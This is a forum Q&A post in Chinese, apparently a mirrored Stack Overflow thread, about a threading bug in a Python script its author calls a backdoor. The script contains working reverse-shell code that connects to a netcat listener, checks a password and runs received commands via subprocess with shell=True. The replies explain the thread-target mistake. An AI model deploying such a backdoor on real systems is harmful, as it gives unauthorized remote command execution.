Py学习  »  Python

如何修复被函数阻塞的python脚本,即使认为它是多线程的

Jacob • 6 年前 • 2035 次点击  

我尝试了一个后门程序,它是多线程的,但只有firs线程被初始化,然后程序的其余部分被阻塞,直到函数结束。它应该每10秒打印一次时间,但是有一个后门同时运行。

我使用netcat与脚本进行通信。 终端中的'NC-L 1234'

我试着在初始化后立即打印,但没有打印任何内容。

如果我先初始化另一个线程,另一个线程就会被阻塞。

第一个线程func。必须在下一个开始之前结束。

导入和包括锁在内的大多数变量。

import socket
import subprocess
import threading
import time

port = 1234
passw = 'Password'
host = 'localhost'
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))

print_lock = threading.Lock()
sleep_lock = threading.Lock()

功能

def clock():
    with print_lock:
        print(time.time())
    with sleep_lock:
        time.sleep(10)
    clock()

def login():
    s.send("Login > ".encode('utf-8'))
    usrPassw = s.recv(1024)

    if(usrPassw.decode('utf-8').strip() == passw):
        s.send("Successfully Connected!\n".encode('utf-8'))
        s.send("> ".encode('utf-8'))
        revShell()
    else:
        s.send("Wrong Password!\n".encode('utf-8'))
        login()

def revShell():
    global s
    while True:
        inData = s.recv(1024)

        if(inData.decode('utf-8').strip() == 'logout'):
            break

        sp = subprocess.Popen(inData, shell = True, stdout = subprocess.PIPE, stderr = subprocess.PIPE, stdin = subprocess.PIPE)
        output = sp.stdout.read() + sp.stderr.read()
        s.send(output.encode('utf-8'))
        s.send('> '.encode('utf-8'))

这将被初始化

tt = threading.Thread(target = clock(), name = "Clock Thread")
tt.start()

这不是

bdt = threading.Thread(target = login(), name = "Backdoor Thread")
bdt.start()

我希望两个线程同时运行,但它们不同时运行,第一个线程会阻塞主线程,第二个线程将被初始化。

Python社区是高质量的Python/Django开发社区
本文地址:http://www.python88.com/topic/38096
文章 [ 2 ]  |  最新文章 6 年前
James McPherson
Reply   •   1 楼
James McPherson    7 年前

您尚未提供线程实例 初始化 (),所以我们有点不知所措。

然而,一般的方法是

  • 子类 threading.Thread 以及在实例的 初始化 ()函数,确保调用 threading.Thread.__init__(self)

  • 在你的 __main__() 常规,呼叫 os.fork() 然后如果在子进程中调用 run() .

我有一个功能性的例子 https://github.com/jmcp/jfy-monitor/blob/master/jfymonitor.py

Mahmoud Elshahat
Reply   •   2 楼
Mahmoud Elshahat    7 年前

这里有一个问题,在“threading.thread”中,“target”参数应该是函数名,不要在函数后加括号,只需加上函数名:

把这些换掉

tt = threading.Thread(target = clock(), name = "Clock Thread")
tt.start()

bdt = threading.Thread(target = login(), name = "Backdoor Thread")
bdt.start()

到:

tt = threading.Thread(target = clock, name = "Clock Thread")
tt.start()

bdt = threading.Thread(target = login, name = "Backdoor Thread")
bdt.start()